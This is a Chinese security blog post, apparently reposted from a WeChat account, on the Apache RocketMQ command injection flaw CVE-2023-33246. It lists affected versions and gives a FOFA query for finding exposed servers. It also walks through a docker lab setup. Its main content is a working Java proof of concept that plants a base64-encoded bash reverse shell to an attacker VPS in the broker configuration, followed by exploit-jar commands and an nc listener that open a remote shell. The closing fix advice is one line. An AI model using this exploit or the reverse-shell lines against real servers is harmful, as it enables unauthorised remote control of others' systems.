【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控

admin 2023年10月19日09:04:50评论59 views字数 3436阅读11分27秒阅读模式


使



01

漏洞名称



Apache RocketMQ 命令注入漏洞


02


漏洞影响



Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5



03


漏洞描述


在RocketMQ 5.1.0及以下版本在一定条件下,会存在远程命令执行风险;由于RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者还可以通过伪造 RocketMQ 协议内容来达到同样的效果。


04


FOFA搜索语句

title="RocketMQ"


05


靶场搭建


方式一:使用vulhub靶场

https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246

cd vulhub/rocketmq/CVE-2023-33246docker-compose up -d


方式二:使用docker镜像搭建

有朋友说docker不会装,在kali上安装很简单的,一行命令搞定

sudo apt install docker.io

下面的命令切换到root账号操作起来比较省事

su

拉取镜像

docker pull apache/rocketmq:4.9.1docker pull apacherocketmq/rocketmq-console:2.0.0

【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控


查看镜像

sudo docker images


【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控

启动namesrv:

docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv

【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控

启动broker服务(先创建并配置broker文件)


创建broker文件目录mkdir -p /mydata/rocketmq/conf/配置broker文件vim /mydata/rocketmq/conf/broker.conf将下面内容复制粘贴到broker.conf配置文件中:brokerClusterName = DefaultCluster brokerName = broker-a brokerId = 0 deleteWhen = 04 fileReservedTime = 48 brokerRole = ASYNC_MASTER flushDiskType = SYNC_FLUSHbrokerIP1 = X.X.X.X(宿主机IP)

启动broker:

docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控


启动Console:


docker run -d --name rmqconsole -p 8899:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=rmqnamesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0

【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控


最后访问IP:8899显示页面如下:


【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控


靶场搭建完成


05


漏洞复现


poc如下

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Base64;import java.util.Properties;
public class poc { private static String getCmd(String ip, String port) { String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"; String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes()); return "-c $@|sh . echo echo "" + cmdBase + ""|base64 -d|bash -i;"; }
public static void main(String[] args) throws Exception { String targetHost = "目的IP"; String targetPort = "10911"; String shellHost = "VPSIP"; String shellPort = "Listen-port"; String targetAddr = String.format("%s:%s",targetHost,targetPort); Properties props = new Properties(); props.setProperty("rocketmqHome", getCmd(shellHost,shellPort)); props.setProperty("filterServerNums", "1"); // 创建 DefaultMQAdminExt 对象并启动 DefaultMQAdminExt admin = new DefaultMQAdminExt();
// admin.setNamesrvAddr("0.0.0.0:12345"); admin.start(); // 更新配置⽂件 admin.updateBrokerConfig(targetAddr, props); Properties brokerConfig = admin.getBrokerConfig(targetAddr); System.out.println(brokerConfig.getProperty("rocketmqHome")); System.out.println(brokerConfig.getProperty("filterServerNums")); // 关闭 DefaultMQAdminExt 对象 admin.shutdown(); }}

上述POC是Java代码,需要添加依赖

<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --><dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version></dependency>



06


漏洞利用

下载开源的EXP

https://github.com/Serendipity-Lucky/CVE-2023-33246

使用如下命令反弹shell

java -jar CVE-2023-33246.jar -ip "靶场ip" -cmd "bash -i >& /dev/tcp/攻击机ip/1122 0>&1"

再启动另外一台kali虚拟机(192.168.190.129

启动监听

nc -lvnp 1122

执行攻击

java -jar CVE-2023-33246.jar -ip "192.168.190.130" -cmd "bash -i >& /dev/tcp/192.168.190.129/1122 0>&1"

【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控

远控成功。


07


修复建议


升级到最新版本。



原文始发于微信公众号(AI与网安):【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月19日09:04:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【2023HW】Apache RocketMQ 命令注入漏洞(CVE-2023-33246)一键远控https://cn-sec.com/archives/2126874.html

发表评论

匿名网友 填写信息